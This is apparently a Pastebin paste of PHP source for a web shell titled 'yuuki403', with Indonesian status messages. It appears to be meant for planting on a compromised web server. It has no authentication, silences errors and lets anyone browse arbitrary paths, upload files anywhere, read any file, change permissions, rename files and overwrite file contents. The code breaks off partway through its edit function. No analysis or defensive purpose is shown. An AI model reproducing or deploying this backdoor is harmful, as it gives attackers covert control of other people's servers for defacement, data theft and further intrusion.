SHARE
TWEET

N

a guest Oct 21st, 2019 78 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. error_reporting(0);
  4. set_time_limit(0);
  5.  
  6. if(get_magic_quotes_gpc()){
  7. foreach($_POST as $key=>$value){
  8. $_POST[$key] = stripslashes($value);
  9. }
  10. }
  11. echo '<!DOCTYPE HTML>
  12. <html>
  13. <head>
  14. <link href="" rel="stylesheet" type="text/css">
  15. <title>yuuki403</title>
  16. <center>
  17. <img src="http://imgur.com/wY37Uuf.jpg" style="opacity:0.5; width:150px; height:150px";></center>
  18. <style>
  19. body{
  20. font-family: "Tahoma";
  21. background-color: black;
  22. color:red;
  23. }
  24. #content tr:hover{
  25. background-color: #191919;
  26. text-shadow:0px 0px 10px #fff;
  27. }
  28.  
  29. #content .first{
  30. background-color: #191919;
  31. }
  32. table{
  33. border: 1px #000000 dotted;
  34. }
  35. a{
  36. color:white;
  37. text-decoration: none;
  38. }
  39. a:hover{
  40. color:red;
  41. text-shadow:0px 0px 10px #ffffff;
  42. }
  43. input,select,textarea{
  44. border: 1px #000000 solid;
  45. -moz-border-radius: 5px;
  46. -webkit-border-radius:5px;
  47. border-radius:5px;
  48. }
  49. </style>
  50. </head>
  51. <body>
  52. <h1><center><font color="red">-=[ Mr.</font><font color="white"> yuuki403 ]=-</font><br>
  53.             <font size="2px"><font color="red"><b>_Indonesia_</b></font>
  54.             </center></h1>
  55. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  56. <tr><td><font color="lime">Path :</font> ';
  57. if(isset($_GET['path'])){
  58. $path = $_GET['path'];
  59. }else{
  60. $path = getcwd();
  61. }
  62. $path = str_replace('\\','/',$path);
  63. $paths = explode('/',$path);
  64.  
  65. foreach($paths as $id=>$pat){
  66. if($pat == '' && $id == 0){
  67. $a = true;
  68. echo '<a href="?path=/">/</a>';
  69. continue;
  70. }
  71. if($pat == '') continue;
  72. echo '<a href="?path=';
  73. for($i=0;$i<=$id;$i++){
  74. echo "$paths[$i]";
  75. if($i != $id) echo "/";
  76. }
  77. echo '">'.$pat.'</a>/';
  78. }
  79. echo '</td></tr><tr><td>';
  80. if(isset($_FILES['file'])){
  81. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  82. echo '<font color="lime">Upload Berhasil</font><br />';
  83. }else{
  84. echo '<font color="white">Upload Gagal</font><br/>';
  85. }
  86. }
  87. echo '<form enctype="multipart/form-data" method="POST">
  88. <font color="lime">File Upload :</font> <input type="file" name="file" />
  89. <input type="submit" value="upload" />
  90. </form>
  91. </td></tr>';
  92. if(isset($_GET['filesrc'])){
  93. echo "<tr><td>Current File : ";
  94. echo $_GET['filesrc'];
  95. echo '</tr></td></table><br />';
  96. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  97. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  98. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  99. if($_POST['opt'] == 'chmod'){
  100. if(isset($_POST['perm'])){
  101. if(chmod($_POST['path'],$_POST['perm'])){
  102. echo '<font color="lime">Change Permission Berhasil</font><br/>';
  103. }else{
  104. echo '<font color="white">Change Permission Gagal</font><br />';
  105. }
  106. }
  107. echo '<form method="POST">
  108. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  109. <input type="hidden" name="path" value="'.$_POST['path'].'">
  110. <input type="hidden" name="opt" value="chmod">
  111. <input type="submit" value="Go" />
  112. </form>';
  113. }elseif($_POST['opt'] == 'rename'){
  114. if(isset($_POST['newname'])){
  115. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  116. echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
  117. }else{
  118. echo '<font color="white">Ganti Nama Gagal</font><br />';
  119. }
  120. $_POST['name'] = $_POST['newname'];
  121. }
  122. echo '<form method="POST">
  123. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  124. <input type="hidden" name="path" value="'.$_POST['path'].'">
  125. <input type="hidden" name="opt" value="rename">
  126. <input type="submit" value="Go" />
  127. </form>';
  128. }elseif($_POST['opt'] == 'edit'){
  129. if(isset($_POST['src'])){
  130. $fp = fopen($_POST['path'],'w');
  131. if(fwrite($fp,$_POST['src'])){
  132. echo '<font color="lime">Berhasil Edit File</font><br/>';
  133. }else{
  134. echo '<font color="white">Gagal Edit File</font><br/>';
  135. }
  136. fclose($fp);
  137. }
  138. echo '<form method="POST">
  139. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'
  140.  
  141. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top